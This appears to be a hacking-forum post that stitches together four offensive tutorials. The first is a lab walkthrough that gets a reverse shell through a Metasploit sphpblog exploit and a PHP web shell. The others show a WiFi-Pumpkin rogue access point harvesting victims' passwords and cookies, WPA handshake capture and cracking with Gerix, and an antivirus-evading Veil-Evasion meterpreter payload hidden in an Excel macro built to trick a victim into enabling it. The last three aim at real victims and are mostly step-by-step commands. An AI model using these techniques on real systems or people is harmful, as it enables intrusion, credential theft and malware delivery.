04-24-2020, 01:06 PM
| 0 | 0 | ||
[To see content please register here]
. This virtual machine is having intermediate to the medium difficulty level.Initial Configuration of Lab:
Configure your attacking platform to be within the 10.10.10.0/24 network range.
We set the VMWare’s Network Adapter to Host-Only but can set it to either NAT or Host-Only depending on your setup.
Goal: Get Root Shell.
Penetrating Methodologies
- Network Scanning (Nmap, netdiscover)
- Directory busting the server
- Getting Login Credentials (Metasploit)
- Upload PHP reverse shell
- Get Limited Shell
- Enumerate Root Credentials
- Get Root
Usually, we start by getting the IP Address of the Lab. In this case we already know the static IP address of the Lab, but still for the sake of doing it let’s do it.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-7acQx-hvQcU/W1i4Hl7RkjI/AAAAAAAAYps/K40V8H8ARS4aTck82Vdmnje7j-3-vBxYwCLcBGAs/s1600/1.png?w=687&ssl=1)
Now let’s move towards enumeration in context to identifying the running services and open ports of the victim’s machine by using the most popular tool Nmap.
nmap -A 10.10.10.100
1
nmap -A 10.10.10.100
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-C9FvKw2eoaA/W1i4IJnsVpI/AAAAAAAAYp4/NVFIwjyEe1cBaQ9z9F1OVf3wwRZZptpggCLcBGAs/s1600/2.png?w=687&ssl=1)
Knowing port 80 is open in the victim’s network I preferred to explore his IP in the browser. It seems a basic site with a login form and Register form.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-EgwWyfVg_H4/W1i4In1kZlI/AAAAAAAAYqA/VRDQvtagyyMG-PjWRdQx1_PZgW9aytXuQCLcBGAs/s1600/3.png?w=687&ssl=1)
But I tried to follow another set of direction by running a Web Content Scanner (dirb) and found the blog directory.
dirb
[To see content please register here]
1
dirb
[To see content please register here]
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-GAfwnpFavwo/W1i4I4Ls9pI/AAAAAAAAYqE/5O6T1Gvp56YCikSNKTVW3lSoXO6Wqy6RwCLcBGAs/s1600/4.png?w=687&ssl=1)
After finding the blog directory, I tried to open the blog directory in the browser, it gave another simple looking webpage when looked at the first glance seems not interesting but as we know that the authors of these labs usually like to hide in plain sight. So, I opened the source code of the Webpage.
And as I closely inspected the source code, I ran into the line shown in the screenshot, it is an important hint as it tells us that the Website runs on Simple PHP Blog and the Version 0.4.0.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-gRYO0Gs7NfY/W1i4JO7HjEI/AAAAAAAAYqI/g8TaBmBUvus5T6WeC2ONIzQq_t8qB-HuQCLcBGAs/s1600/5.png?w=687&ssl=1)
Simple PHP Blog is also known as ‘sphpblog’. So, I searched for any possible exploits for sphpblog in the Metasploit framework. I found a bunch of them. Among them, I thought to try out the exploit/unix/webapp/sphpblog_file_upload.
In Metasploit Shell I ran the following command to exploit:
use exploit/unix/webapp/sphpblog_file_upload
msf exploit(sphpblog_file_upload) > set rhost 10.10.10.100
msf exploit(sphpblog_file_upload) > set uri /blog
msf exploit(sphpblog_file_upload) > exploit
1
2
3
4
use exploit/unix/webapp/sphpblog_file_upload
msf exploit(sphpblog_file_upload) > set rhost 10.10.10.100
msf exploit(sphpblog_file_upload) > set uri /blog
msf exploit(sphpblog_file_upload) > exploit
This exploit failed to give us and any shell, but it gets creative and created a Login Credentials as shown in the Screenshot.
Let’s use these credentials to Login.
Username: WJx2Fp
Password: PiRpoM
1
2
Username: WJx2Fp
Password: PiRpoM
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3-SPeeUXZks/W1i4JDJEYfI/AAAAAAAAYqM/Nr0lWtTHTI0n0KBgzAiBIIfici84TAXeACLcBGAs/s1600/6.png?w=687&ssl=1)
(You will get a different set of Login Credentials as the Exploit generated them unique every time.)
Logging In gave us some additional options in the Menu. Among which the Upload Image Option took my attention.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-kZaoOPIPOb0/W1i4JtJzv1I/AAAAAAAAYqU/v9Jg2arUZKAh42bi574xIW7fyCmN8ZPeACLcBGAs/s1600/7.png?w=687&ssl=1)
Upload image option opens a simple Upload webpage. Let’s try to upload the php-reverse-shell.php which is inbuilt in Kali Linux from path: /user/share/webshells/php. Although uploading PHP files most probably will be not allowed.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-BXUqraF3GL4/W1i4JhcAXmI/AAAAAAAAYqQ/grL4Mo4dkrgSKo4CzNX7QQ1WAmIWcYXYwCLcBGAs/s1600/8.png?w=687&ssl=1)
Wow!! We successfully uploaded the php-reverse-shell directly. This is awesome.
So, I browsed to the location of the uploaded PHP file, which is 10.10.10.100/blog/images. (Found this location in the initial dirb scan)
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-42Jgu7HOllY/W1i4JhIzi4I/AAAAAAAAYqY/4O1DTUoqEaMZoCEM1N028aTDd2xwtvbLgCLcBGAs/s1600/9.png?w=687&ssl=1)
Now let’s open the file and start Netcat listen in a new terminal to get victim’s reverse connection.
nc -lvp 1234
1
nc -lvp 1234
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-FvbrrwGXhOc/W1i4HzHy9uI/AAAAAAAAYp0/FEjRDE9NP24RYu1UpI5IwdO5mX3t5NHtwCLcBGAs/s1600/10.png?w=687&ssl=1)
We got an improper shell, let’s convert it into a proper shell using the python one-liner.
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Now, traversing Directory to Directory, files to files, I ended up in the /var directory and here I found a PHP file named mysqli_connect.
On opening this file using cat, I found the root credentials.
cat mysqli_connect.php
Root Credentials
Username: root
Password: root@ISIntS
1
2
3
4
cat mysqli_connect.php
Root Credentials
Username: root
Password: root@ISIntS
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-3Nuo50IPx0I/W1i4Hj-p3wI/AAAAAAAAYpw/WQAUHJNBWmsMKsdEdpDR7xPxM7iBlDV0wCLcBGAs/s1600/11.png?w=687&ssl=1)
Now let’s wrap up this lab by getting the root shell, for this I will be using an ssh connection to the lab generated with the root credentials and as you can see in the screenshot given, we got the root shell.
ssh [email protected]
1
ssh [email protected]
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-VOnCvU9gZMo/W1i4IXbLyjI/AAAAAAAAYp8/sO5LcINEGAQDYGeo8FTnV_vO0Yfc8pcrwCLcBGAs/s1600/12.png?w=687&ssl=1)
WiFi-Pumpkin framework for Rogue Wi-Fi Access Point Attack It helps a hacker to create a free open fake wifi and as soon as victim connects to the fake open wifi, he gets trapped. However, the best feature is that if your internet connection is working, victim will get access to internet. Hence, more chances of him to get trapped(Nice, isn’t it?).
First, to install Wifi-Pumpkin we type on terminal:
git clone [To see content please register here]
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-eShj_xM5N1o/V3qBSq6IFzI/AAAAAAAAMw4/sof2WCDQCh8c-Zy177h7ilJ3Km8lwbJNQCLcB/s1600/1.png?w=687&ssl=1)
Once the cloning is done, we need to install. Hence, go to the installed directory of WiFi-Pumpkin and open it in terminal and type the following command to install it:
./installer.sh –install
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-jb6uNE8oOSs/V3qBUUlRzRI/AAAAAAAAMxM/jJrAVwOIVHUfOVwBv8D_ouwqKo3KsSGZgCLcB/s1600/2.png?w=687&ssl=1)
Python wifi-pumpkin.py
It will load wifi pumpkin in GUI as you can see in the screenshot below.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-xmuq_QbqQmE/V3qBTacqgBI/AAAAAAAAMxA/qSxqKtNcb6Uf0wAnp-IkGc1gWXpoyrtRACLcB/s1600/3.png?w=687&ssl=1)
Now, all you have to do is configure your settings and click on ‘Start Access Point’.
Wait for some devices to connect. They will be displayed as you can see below. A good thing is that devices are automatically assigned a class A IP address.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-iLIpHbMy1r0/V3qBT6RwqdI/AAAAAAAAMxE/gqndc2V939kwn7DF74cadw0m-1fel0cWQCLcB/s1600/4.png?w=687&ssl=1)
In the victim’s phone PumpAP is created and he/she is accessing the internet without even knowing that they have fallen into the sweet trap of free internet!
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-3klB9TPSvJU/V3qBUaL9EuI/AAAAAAAAMxI/sjWmel1y1VEGeMggQ-GznnesMs1XgdFGgCLcB/s1600/5.png?w=687&ssl=1)
While the victim is acessing Wi-Fi like usual, we can see his/her activity. As you can see in the below screenshot that we are able to capture victim’s phone’s “Hike Contacts.”
As soon as victim opens anyone’s profile on hike, their number is being captured by us!
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-2MuKHaA9I7A/V3qBVVieI5I/AAAAAAAAMxQ/Z6ElhlV9KyUousc7sIP8a4tvhDPZx3qdwCLcB/s1600/6.png?w=687&ssl=1)
Many other notable features include cookie capturing. As n the below screenshot, we can see victim’s device’s cookies being visible. Which is great to know as it may have something interesting?
We are also able to capture any credentials/ login id and password on any http website.
As you can see below that victim has logged in into way2sms.com and their ID and password are being recorded.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-U3vcrbLqUbQ/V3qBXQF6BqI/AAAAAAAAMxc/2sTl5Vn8i_8Tv1a0NDqFqr4GTjlipORwgCLcB/s1600/7.png?w=687&ssl=1)
For even better case scenarios, when many of victims will be connected to your fake Wireless Network thinking they are in luck, we will be recording everything in clear text. If we are unable to see everything on terminal, don’t worry, WiFi-Pumpkin has stored everything category wise.
Now, we go to the directory:
/WiFi-Pumpkin/logs/AccessPoint
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-jPFselqmtH0/V3qBVboiRdI/AAAAAAAAMxU/qIjVInxJbP4VLtEczirIzZncsXw7bjdSACLcB/s1600/8.png?w=687&ssl=1)
In that directory many log files are present that have captured numerous items. One such text file is “credentials.log”
Here, we will see all the login details
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-nZ_NHIDJ00A/V3qBWRPPBqI/AAAAAAAAMxY/Nex2suXMhGwt4QafzUuAXXKvOxBf0ph4ACLcB/s1600/9.png?w=687&ssl=1)
Another notable file is the “urls.log”
We can see all the accessed urls on victim’s device, along with their IP address.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-jOk0VN9UVYQ/V3qBS_Y9qrI/AAAAAAAAMw8/h3-PC60fMoc-ksJpAs9yOCYPKek9iPV8ACLcB/s1600/10.png?w=687&ssl=1)
GERIX WIFI CRACKER is a GUI wireless 802.11 penetration tools which uses the aircrack-ng method behind its point and click method to crack the wifi password.
First of all clone the github repo with command:
git clone
[To see content please register here]
Now inside the installed directory give the gerix.py file permission to execute with command:
chmod +x gerix.py
and then start the gerix wifi cracker with command:
python gerix.py
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-eTMlV7277-s/V3fYhT_qm7I/AAAAAAAAMwQ/t5AADqZC__oIT7xVT2mwO5U6moKrLNs9gCLcB/s1600/1.png?w=687&ssl=1)
Now a GUI window will appear, click on Reload the Wireless Interfaces and when the wireless interface appears click on it i.e. wlan0 in my case and then click on Enable/Disable Monitor Mode to enable the monitor mode from managed mode.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ZNIPxLmdNJE/V3fYhGE7CJI/AAAAAAAAMwI/cZFKb6YGCWgfuqm0_WChm7fdObI4pukaQCLcB/s1600/2.png?w=687&ssl=1)
After enabling the monitor mode the wireless interface name will be changed to wlan0mon and the mode will be monitor .Now for scanning the wireless networks select the monitor mode interface (wlan0mon in my case) and then click on Rescan networks.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-AtQa3e0Rfj8/V3fYhAHVyTI/AAAAAAAAMwM/rnuVhnqXEv0mMjEZpK0nA0EbbL0wxVYnACKgB/s1600/3.png?w=687&ssl=1)
After scanning networks select you target by clicking on it as in my case i have selected tp link and then go to WPA tab (As the target AP is using WPA2 security).
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/--IlG4cSZzfo/V3fYhtP9WMI/AAAAAAAAMwU/LN-5rYt0wn0c_G6uv4ztTl7elfy70WZkgCKgB/s1600/4.png?w=687&ssl=1)
After clicking on WPA tab, go to general functionalities and start sniffing and logging by clicking on it and a terminal window will appear capturing the packets of the target AP.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-kxYVb4SR3Fs/V3fYh5B5iJI/AAAAAAAAMwY/eZ1fbeMLkT4u7f2_C_OvYloFEdHkbUVeQCKgB/s1600/5.png?w=687&ssl=1)
Now without closing the terminal windows got to WPA attack section and click on Autoload victim clients who will load victim client MAC address to deauthenticate and now click on Client Deauthentication to disconnect the victim so that we can capture the handshake.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-p9DBR1y_RZM/V3fYiJRG9zI/AAAAAAAAMwc/4qS4PLVyT3wHN3ZxUDQa990LFcgvwC2KgCKgB/s1600/6.png?w=687&ssl=1)
Now as you can see WPA handshake is successfully captured and same can be seen in the top right corner of the terminal window. Now close the terminal window.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-jqMnjZawihQ/V3fYiUeE8vI/AAAAAAAAMwg/KA8GLSVhhugS7zirPTD-1TqbQ1q7pT26wCKgB/s1600/7.png?w=687&ssl=1)
Now we have to crack the password from the captured file so got to Cracking tab and then to WPA bruteforce cracking section and give the dictionary path in the Add your dictionary field and then click on Aircrack-ng -Crack WPA password .(you can also choose any other method for cracking like pyrite and rainbow tables)
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-kI4vxvpXOI4/V3fYiWJg5PI/AAAAAAAAMwk/mgxnkY2jNs8TKVIsMs9GdxVWemgoTpAxgCKgB/s1600/8.png?w=687&ssl=1)
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-CvUUr4_Ehz8/V3fYiuO_hfI/AAAAAAAAMwo/_gwOk2hiIxAovC_OTTeZ4lnTU8mIiiu_QCKgB/s1600/9.png?w=687&ssl=1)
Veil-Evasion is a powerful tool to generate an executable payload that bypasses common antivirus solutions.
To install veil-evasion on your Kali Linux, type :
apt-get install veil-evasion
1
apt-get install veil-evasion
After the installation completes, run veil-evasion with the following command on terminal, in the installed directory of veil-evasion:
veil-evasion
1
veil-evasion
![[Image: 0.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-bV2qSaKh9gU/V3doHb0rF0I/AAAAAAAAMvM/AFX47ypHSxM0_FRyJiuaKmMAeT9TCkIvwCLcB/s1600/0.png?w=687&ssl=1)
list
1
list
We can see a menu of the available payloads to use. There are plenty of payloads to use.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-5JgYbb22J6A/V3doJ4aTzPI/AAAAAAAAMvQ/JKZE-4tly4YVsKnVp8a7Icf9Jxdl0MVlgCLcB/s1600/1.png?w=687&ssl=1)
We will be using the payload id-23. We type the command:
use powershell/meterpreter/rev_https
1
use powershell/meterpreter/rev_https
Reverse https is used here just so in case if the victim’s PC has a firewall enabled for TCP, considering the most common situations where HTTPS is not blocked on PC.
After that set localhost(Your PC’s IP). In my case, it is 192.168.0.105. Hence:
set lhost 192.168.0.105
1
set lhost 192.168.0.105
And then generate the payload:
generate
1
generate
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-m-edENktyBc/V3doXdBUfgI/AAAAAAAAMvs/Wil20X75h9gcRM1qJPLFWd1ZNjgTu3BkgCLcB/s1600/2.png?w=687&ssl=1)
Enter the name of the file. Let the name of the file to be generated be raj. Therefore;
raj
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-RXqUr5uzpZg/V3doRL2Ke-I/AAAAAAAAMvc/jTH_o86ToGM34gsTeJTH8Eqkmw-sxXmvQCLcB/s1600/3.png?w=687&ssl=1)
Now, the Veil-Evasion tool has created a bat file in PowerShell code in the directory:
/var/lib/veil-evasion/output/source/raj.bat
1
/var/lib/veil-evasion/output/source/raj.bat
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3ftJGPv8iVk/V3doPppdZEI/AAAAAAAAMvY/cDIEcnO1_F85pLzl-eL42QaaoLtkQERBwCLcB/s1600/4.png?w=687&ssl=1)
Open a new window of the terminal and install MacroShop. MacroShop is a collection of scripts to aid in delivering payloads via Office Macros. Most are Python. To install it we type:
git clone
[To see content please register here]
1
git clone
[To see content please register here]
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-vMtYWX-JqmI/V3doTO76MxI/AAAAAAAAMvg/2fKtiwEhMqg02P24uT-AseGmbIn18aCeACLcB/s1600/5.png?w=687&ssl=1)
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-iBA9ilnrexI/V3doTN58xeI/AAAAAAAAMvk/glLEQMSoh8sBarygpRmY7WeYeqE2pyHFwCLcB/s1600/6.png?w=687&ssl=1)
Once the file “raj.bat” is placed in MacroShop, change the terminal path to MacroShop(or right click on the installed directory and click open in terminal and type:
python macro_safe.py raj.bat file.txt
1
python macro_safe.py raj.bat file.txt
Here file.txt is the name of the output text file that MacroShop will create.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-X9WXFz6f35U/V3dodKJ-yhI/AAAAAAAAMv0/S_0Rcm9plQIaBlG53oDuHfrT4gJtAs30ACLcB/s1600/7.png?w=687&ssl=1)
Now open windows->New Microsoft Office Excel Worksheet->view(on the top bar)->macro
Enter the macro name->create
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-h2sUfW5krhk/V3doWBnb1qI/AAAAAAAAMvo/qa2PKiwGekIdqDEUQqRD9HuedgTpnYK2wCLcB/s1600/8.png?w=687&ssl=1)
Then in the Macro editing area(or the workbook) copy paste the code present in “file.txt” to the workbook and save the macro.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-eONJeDhx3lY/V3doY2mFGAI/AAAAAAAAMvw/KIkqUgml8F4nsM1hnPfl_CNazDwPQfAyQCLcB/s1600/9.png?w=687&ssl=1)
Now, edit the Microsoft excel worksheet so as to make it look authentic and edit it in such a way that the victim should definitely enable Macro option( given it is disabled).
Just for the case of simplicity and tutorial, I enter something random and save it as Microsoft Excel document 97-2003.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-iTjrkoOiM2w/V3doAk5vh7I/AAAAAAAAMvE/kMZsyd2fYVY8fOdqpLHa75TetakoXzBawCLcB/s1600/10.png?w=687&ssl=1)
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-kEI1Ej_FwNo/V3doDsMpO_I/AAAAAAAAMvI/abRmcIOIz7AB0_WwMOyWRTfxoQEdllVugCLcB/s1600/11.png?w=687&ssl=1)
Meanwhile, open Metasploit on Kali Linux
msf>use exploit/multi/handler
msf exploit(handler)>set payload windows/meterpreter/reverse_https
msf exploit(handler)>set lhost 192.168.0.105
msf exploit(handler)>set lport 8443
msf exploit(handler)>exploit
1
2
3
4
5
msf>use exploit/multi/handler
msf exploit(handler)>set payload windows/meterpreter/reverse_https
msf exploit(handler)>set lhost 192.168.0.105
msf exploit(handler)>set lport 8443
msf exploit(handler)>exploit
As soon as the victim clicks on enabling the macro and/or opens the excel document, Voila! We get the meterpreter session. Hence, the job is done.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-4wxx-nSFA98/V3doN-MqY_I/AAAAAAAAMvU/ZR_PN4D7PKgbwBXULGE2xMIkr_psNhZkQCLcB/s1600/12.png?w=687&ssl=1)













